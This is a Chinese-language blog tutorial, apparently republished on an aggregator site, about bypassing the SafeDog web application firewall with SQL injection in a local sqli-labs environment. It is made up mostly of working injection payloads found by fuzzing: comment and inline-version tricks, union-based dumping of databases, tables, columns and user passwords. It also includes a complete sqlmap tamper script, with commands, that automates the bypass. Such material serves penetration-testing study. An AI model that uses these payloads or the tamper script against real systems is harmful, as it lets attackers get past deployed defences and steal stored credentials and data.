从SQL注入绕过最新安全狗WAF中学习fuzz

前言

SQL注入并不是很精通,通过实战绕过WAF来进行加强SQL注入能力,希望对正在学习的师傅能有一丝帮助。

安装

安装前言

我是本地搭建的环境进行测试的 环境是windows11+phpstudy2018+sqli-labs phpstudy的安装我不再复述,这里简单说一下安全狗插件和安全狗的安装。

过程

在安装安全狗之前,一定要先做好安装apache2.4这一项,否则可能要浪费半个下午的时间来整(受害者本人自述了属于是),因为在提前安装好这个后,再安装安全狗,就会出现如下图所示的情况,这时候就很容易进行配置了

在这里插入图片描述

而如果你后安装apache2.4,出现Apache插件安装失败的可能性极大,那我们要怎么安装apache2.4呢,很简单,首先找到你apache下的bin路径,我的是"D:\phpStudy\PHPTutorial\Apache\bin",然后进入cmd中(以管理员身份运行)

C:\Windows\system32>d:
​
D:\>cd D:\phpStudy\PHPTutorial\Apache\bin
​
D:\phpStudy\PHPTutorial\Apache\bin> httpd -k install -n apache2.4
//安装插件

此时插件的安装就完成了,直接去官网找Apache版本的安全狗

在这里插入图片描述

下载到本地即可,此时进行安装(不要开启phpstudy),此时选择好安装路径后就会出现配置界面,它安装过插件的话一般是会自动检测的

在这里插入图片描述

此时直接点击确定就好了,然后打开就会发现插件是已安装的

在这里插入图片描述

此时看安全狗这个网站安全狗与防护总开关是否都开启,只有都开启了才有效,此时再去打开phpstudy,一般他就应该是自己变成系统服务了,如果没变的话就再选择一下即可

在这里插入图片描述

然后此时的话这个防护网站变成1个就说明配置好了

在这里插入图片描述

去访问网站就可以发现安全狗生效了

在这里插入图片描述

构造1=1

方法一

首先这里的话是尝试一个1=1,发现是不可以的

在这里插入图片描述

更换成true=true进行尝试

在这里插入图片描述

仍然不行,此时发现当and和后面没有空格的时候就会报错

在这里插入图片描述

我们这里尝试用/*/来充当注释符

在这里插入图片描述

发现还是被过滤了,此时我们就利用bp来进行fuzz,抓包后在/*/中添加变量(为爆破做准备)

在这里插入图片描述

选择暴力破解,字符集就选/!*进行测试即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现很多都可以充当空格来进行绕过,我们随意挑选一个进行尝试,构造payload如下

id=1' and/**/1 --+

在这里插入图片描述

成功绕过

方法二

当然常见的还有一个内联注释符,就是/*!00000*/这种的,用实例来解释是最好理解的

mysql> select @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53    |
+-----------+
1 row in set (0.00 sec)
​
mysql> select /*!999991*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
​
mysql> select /*!000001*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505531*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
​
mysql> select /*!505541*/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

这种注释在mysql中叫做内联注释,如果没有接版本号时,会直接执行里面内容。当!后面接数据库版本号时,如果自身版本号(上述例子中的5.5.53)大于等于字符数(例如上述例子中的99999和00000),就会将注释中的内容执行,否则就会当做注释来处理。 那么这里的话,我们就想构造1=1,就可以利用它来进行绕过,我们构造如下/*!000001*/=/*!000001*/语句尝试进行绕过

在这里插入图片描述

可以发现成功绕过了

order by 绕过

直接利用的话可以发现是不可以的

在这里插入图片描述

由1=1的构造思路,我们尝试构造空格来进行绕过,构造payload如下

id=1' order/**/by 3 --+

在这里插入图片描述

id=1' order/**/by 4 --+

在这里插入图片描述

成功判断出来了字段数为3

联合查询

首先的话是想利用内联注释来进行一个绕过,因为单独的一个union和单独的select都是可以的,此时我就想利用它内联注释字符数大于版本号时将其内语句作为注释来进行一个绕过, 测试过程如下

在这里插入图片描述

选择暴力破解,设置0-9依次进行爆破

在这里插入图片描述

而后得到结果

在这里插入图片描述

发现这种利用垃圾字符的内联注释方式无法再次绕过,此时我们去尝试进行其他方法,想到之前的fuzz/**/中间加东西可以绕过,不妨试一下这种,设置如下

在这里插入图片描述

选择暴力破解,将字符集进行更换即可

在这里插入图片描述

得到结果

在这里插入图片描述

发现有很多可以绕过的,随便选一个来进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,3--+

在这里插入图片描述

可以发现正常执行了,说明绕过了,这里再给出几个payload,师傅们可以自行测试

id=-1' union/*//--**/select 1,2,3--+
id=-1' union/*/!--**/select 1,2,3--+
id=-1' union/*/-*!!*/select 1,2,3--+

爆库

方法一(/**/方法)

此时直接去将3变成database()会被绕过,此时我是想用/*xxx*/()这种方式来进行绕过,利用bp设置如下

在这里插入图片描述

而后如下设置暴力破解

在这里插入图片描述

得到结果

在这里插入图片描述

可以发现有很多方式,我们随便挑选一个进行测试

id=-1' union/*/!*!**/select 1,2,database/*///-*/()--+

在这里插入图片描述

成功绕过

方法二(/*!*/内联注释法)

我们设置payload为/*!()*/这种,利用bp在括号前面加上五个数字,依次来检验哪个可以进行绕过,具体设置如下

在这里插入图片描述

而后选暴力破解,设置如下

在这里插入图片描述

得到结果

在这里插入图片描述

随机取出一个进行测试,构造payload如下

id=-1' union/*/!*!**/select 1,2,database/*!20553()*/--+

在这里插入图片描述

成功绕过

爆表

正常的话语句一般是这个样子

group_concat(table_name) from information_schema.tables where table_schema=database()

那么这里的话我们测试过后就会发现information_schema被过滤了,它俩只要在一起挨着就会被过滤

在这里插入图片描述

同时呢,我们也发现利用from的时候也会被过滤

在这里插入图片描述

对这两个进行分别fuzz的话比较麻烦,而且将两者进行一起用时可能会出现仍然被过滤的情况,因此此时的话就自然的想到了内联注释这种方法,可不可以用这种方法来进行绕过呢,我们先尝试一下

from/*!information_schema.tables*/

结果如下

在这里插入图片描述

显然这种是不可行的,但是我们知道还有一种的话就是内联注释的利用方法就是中间加注释符再加换行,也就是/*!%23%0a*/这种形式,我们先进行本地测试

mysql> select /*!#
    -> 1*/;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
mysql> select /*!#/*
    -> 1*/
    -> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

此时经过本地测试发现,当运用内联注释时,里面插入/*,来构造/**/,也是可以实现绕过的,此时我们先试本地测试的第一种方法

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时被绕过,那我们就用刚刚测试出来的第二种方法进行尝试

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!%23/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

此时想有没有可能是过滤了%23,我们将%23换成--+ 构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables*/ where table_schema='security'--+

在这里插入图片描述

得到了全部表

爆列

有了表名的注入,那么注入列名也不是件太难的事情,修改一下语句即可,构造payload如下

?id=-1' union/*/!*!**/select%201,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns*/ where table_name='users'--+

爆字段信息

同理,修改语句即可

?id=-1' union/*/!*!**/select%201,2,group_concat(id,password)from/*!--+/*%0ausers*/--+

其他姿势

like["%23"]

在学习其他师傅的文章时,偶然间发现这个like["%23"],这个的话我们知道%23是注释符的含义,那么在这里的时候,它这个语句到底有什么作用呢,我们测试一下就知道了 首先先正常查一个字段信息

select * from users where id=1 ;

在这里插入图片描述

此时可以发现有一个结果,我们加上我们的like["%23"],构造payload如下

select * from users where id=1 like "[%23]";

在这里插入图片描述

此时表变成空的了,那我们如果此时这样构造payload

select * from users where id=1 like "[%23]" union select * from users;

我们知道前面users where id=1 like "[%23]"这个是空,那它这条语句就相当于

select * from users

如下图所示

在这里插入图片描述

在这里插入图片描述

那么此时我们就可以去我们的靶场进行测试,看是否能绕过

id=-1' like "[%23]" /*!10440union select*/ 1,2,3 --+

在这里插入图片描述

发现没有绕过,此时我们将union后的空格用换行符替代

id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,3 --+

在这里插入图片描述

此时就可以注入了,因此新的姿势就出现了,其他具体的不再列举,这里给出payload

//爆库
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,database/*!--+/*%0a()*/ --+
//爆表
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(table_name)from/*!--+/*%0ainformation_schema.tables */where table_schema='security'--+
//爆列
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(column_name)from/*!--+/*%0ainformation_schema.columns */where table_name='users'--+
//爆字段
id=-1' like "[%23]" /*!10440union%0aselect*/ 1,2,group_concat(id,username,password)from/*!--+/*%0ausers*/--+              

tamper脚本

脚本如下

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:quan9i.top
"""

import re #导入re模块
import os #导入os模块

from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试SQL注入的过程中,使用的配置文件事先全部被加载到了conf和kb
from lib.core.enums import PRIORITY  #导入sqlmap中lib\core\enums中的PRIORITY函数,LOWEST = -100,LOWER = -50,LOW = -10,NORMAL = 0,HIGH = 10,HIGHER = 50,HIGHEST = 100
from lib.core.common import singleTimeWarnMessage#输出到sqlmap控制台的函数
from lib.core.enums import DBMS#一个数据库的枚举
__priority__ = PRIORITY.LOW#定义优先级为LOW

def dependencies():
    singleTimeWarnMessage("Bypass safedog by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))# singleTimeWarnMessage() 用于在控制台中打印出警告信息
def tamper(payload, **kwargs):
	payload=payload.replace('AND','/*!10000AND*/')
	payload=payload.replace('OR','/*!10000OR*/')
	payload=payload.replace('ORDER BY','ORDER/**/BY')
	payload=payload.replace('()','/*!20553()*/')
	payload=payload.replace('UNION SELECT','UNION/*/!*!**/SELECT')
	payload=payload.replace('information_schema.tables','/*!%23%0ainformation_schema.tables*/')
	return payload
	

示例如下

//检测可注入类型
python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --tamper=dog 

在这里插入图片描述

破解数据库

python sqlmap.py -u http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1 --dbs --tamper=dog -v5

在这里插入图片描述

参考文献

SQL注入bypass最新版安全狗 - 先知社区 什么,有狗快跑!慢着,这次手把手教你怎么过安全狗!(sql注入篇) - 知乎 https://www.cnblogs.com/Cl0ud/p/14394627.html SQL注入-安全狗apache最新版绕过-腾讯云开发者社区-腾讯云 Python攻防-Fuzz绕过安全狗进行SQL注入_Tr0e的博客-CSDN博客 SQLMap绕过脚本tamper(from 《Web安全攻防渗透测试实战指南》)_Masked5的博客-CSDN博客 记一次艰难的SQL注入(过安全狗) - FreeBuf网络安全行业门户 https://www.cnblogs.com/Cl0ud/p/14493204.html https://www.cnblogs.com/Cl0ud/p/14394627.html

加下方wx,拉你一起进群学习

图片

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/58823.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vue3数组V-for中动态生成$refs

vue3数组V-for中动态生成$refs 在项目实际需求中&#xff0c;可能会遇到使用数组动态生成$refs,根据官方参考&#xff0c;采用了以下方式实现 <template><div class"content"><ul v-for"(item, index) in editableTabs" :key"item.n…

SolidUI社区-从开源社区角度思考苹果下架多款ChatGPT应用

文章目录 背景下架背景下架原因趋势SolidUI社区的未来规划结语如果成为贡献者 背景 随着文本生成图像的语言模型兴起&#xff0c;SolidUI想帮人们快速构建可视化工具&#xff0c;可视化内容包括2D,3D,3D场景&#xff0c;从而快速构三维数据演示场景。SolidUI 是一个创新的项目…

斯坦福大学提出在类别层级对多零件多关节三维拼装新方法

来源&#xff1a;投稿 作者&#xff1a;橡皮 编辑&#xff1a;学姐 paper&#xff1a;https://arxiv.org/pdf/2303.06163.pdf 背景&#xff1a; 形状装配通过排列一组简单或基本的零件几何图形来组成复杂的形状几何图形。许多重要的任务和应用都依赖于形状装配算法。 计算机…

你是否好奇交流充电桩主板的安装维度?

你是否好奇交流充电桩主板的安装维度?安装环境、要求和方式&#xff0c;将影响充电桩的可靠性和安全性。 交流充电桩主板的安装环境至关重要&#xff0c;设备需要安装在室外&#xff0c;因此应选择防水、防火、耐候、耐腐蚀的材料。同时&#xff0c;安装要求具有良好的接地&am…

企业人力资源管理系统servlet+jsp人事招聘培训薪资java源代码mysql

本项目为前几天收费帮学妹做的一个项目&#xff0c;Java EE JSP项目&#xff0c;在工作环境中基本使用不到&#xff0c;但是很多学校把这个当作编程入门的项目来做&#xff0c;故分享出本项目供初学者参考。 一、项目描述 企业人力资源管理系统servletjsp 系统1权限&#xff…

uniApp 插件 Fvv-UniSerialPort 使用实例

接上一篇 uniApp 对接安卓平板刷卡器, 读取串口数据 , 本文将详细介绍如何使用插件读取到串口数据 原理 通过uniApp 插件读取设备串口数据, 解析后供业务使用; 步骤 创建uniApp 项目;添加插件 安卓串口通信 Fvv-UniSerialPort 安卓串口通信 Fvv-UniSerialPort - DCloud 插件…

刷题笔记 day6

力扣 57 和为s的两个整数 class Solution { public:vector<int> twoSum(vector<int>& nums, int target) {vector<int> v;int i 0 , j nums.size()-1;while(i < j){if(nums[i] nums[j] > target){--j;}else if(nums[i] nums[j] < target){i…

【Linux】内核线程创建 kthread_run 函数和内核中断

kthread_run函数详解 以PCIE的热插拔内核线程创建为例说明 注意&#xff1a;内核线程和RTOS的线程略有不同&#xff0c;这里Linux上创建以后直接运行&#xff0c;RTOS上有的是需要加入到调度队列中后才会执行&#xff0c;比如RT-Thread的系统 kthread_run 是 Linux 内核中的…

Mac端口扫描工具

端口扫描工具 Mac内置了一个网络工具 网络使用工具 按住 Command 空格 然后搜索 “网络实用工具” 或 “Network Utility” 即可 域名/ip转换Lookup ping功能 端口扫描 https://zhhll.icu/2022/Mac/端口扫描工具/ 本文由 mdnice 多平台发布

关于win11 debian wsl 子系统安装启动docker一直starting,无法启动

首先我先说明&#xff0c;我的步骤都是按照官网步骤来的 通过官网的操作步骤 通过测试命令 sudo docker run hello-world得到下面的命令&#xff0c;我们通过启动命令 sudo service docker start 执行结果如下图 也就是说无法启动&#xff0c;一直显示在启动中 遇到这种情况…

基于ARM+FPGA的驱控一体机器人控制器设计

目前市场上工业机器人&#xff0c;数控机床等多轴运动控制系统普遍采用运动控制器加 伺服驱动器的分布式控制方式。在这种控制方式中&#xff0c;控制器一方面完成人机交互&#xff0c;另 一方面进行 NC 代码的解释执行&#xff0c;插补运算&#xff0c;继而将计算出来的位…

Go项目实现日志按时间及文件大小切割并压缩

关于日志的一些问题: 单个文件过大会影响写入效率&#xff0c;所以会做拆分&#xff0c;但是到多大拆分? 最多保留几个日志文件&#xff1f;最多保留多少天&#xff0c;要不要做压缩处理&#xff1f; 一般都使用 lumberjack[1]这个库完成上述这些操作 lumberjack //info文件wr…

Java版工程行业管理系统源码-专业的工程管理软件-em提供一站式服务 em

​ Java版工程项目管理系统 Spring CloudSpring BootMybatisVueElementUI前后端分离 功能清单如下&#xff1a; 首页 工作台&#xff1a;待办工作、消息通知、预警信息&#xff0c;点击可进入相应的列表 项目进度图表&#xff1a;选择&#xff08;总体或单个&#xff09;项目…

弱监督语义分割伪标签可视化(把单通道灰度图转为voc格式语义分割标签的彩色形式)

一、目的 以图片2007_001960为例&#xff0c;voc数据集中的原图和对应的语义分割标签分别如下&#xff1a; 图1 图2 图像级标签WSSS任务第一阶段最后生成的pseudo mask如下&#xff1a; 图3 我们的…

【雕爷学编程】MicroPython动手做(33)——物联网之天气预报3

天气&#xff08;自然现象&#xff09; 是指某一个地区距离地表较近的大气层在短时间内的具体状态。而天气现象则是指发生在大气中的各种自然现象&#xff0c;即某瞬时内大气中各种气象要素&#xff08;如气温、气压、湿度、风、云、雾、雨、闪、雪、霜、雷、雹、霾等&#xff…

react中PureComponent的理解与使用

一、作用 它是一个纯组件&#xff0c;会做一个数据的浅比较&#xff0c;当props和state没改变的时候&#xff0c;不会render重新渲染&#xff0c; 改变后才会render重新渲染&#xff0c;提高性能。 二、使用 三、注意 它不能和shouldComponentUpdate生命周期同时使用。因为它…

如何获取最新的底图边线数据(高德)

由于近期的大屏项目需要地图的边界线的数据&#xff0c;找了很多方式&#xff0c;都有局限性&#xff0c;就是不能保证是最新的&#xff0c;所以使用高德地图提供的边线数据&#xff0c;那就肯定是最新的了&#xff0c;之前仔细看文档&#xff0c;现在仔细看了&#xff0c;才发…

【云原生】k8s中Contrainer 生命周期回调/策略/指针学习

个人主页&#xff1a;征服bug-CSDN博客 kubernetes专栏&#xff1a;kubernetes_征服bug的博客-CSDN博客 目录 1 容器生命周期 2 容器生命周期回调/事件/钩子 3 容器重启策略 4 自定义容器启动命令 5 容器探针 1 容器生命周期 Kubernetes 会跟踪 Pod 中每个容器的状态&am…

Python 批量处理JSON文件,替换某个值

Python 批量处理JSON文件&#xff0c;替换某个值 直接上代码&#xff0c;替换key TranCode的值 New 为 Update。输出 cancel忽略 import json import os import iopath D:\\Asics\\850\\202307 # old path2 D:\\test2 # new dirs os.listdir(path) num_flag 0 for file…

【Spring练习项目】博客系统

目录 1.项目展示2.项目结构设计3.项目功能设计4 数据库准备4.1 建表4.2 DB相关数据 5.项目模块6.添加项目公共模块6.1 common6.2 实现前端界面 7.功能实现7.1实现博客列表约定前后端交互接口实现服务器代码实现客户端代码 7.2实现博客详情约定前后端交互接口实现服务器代码实现…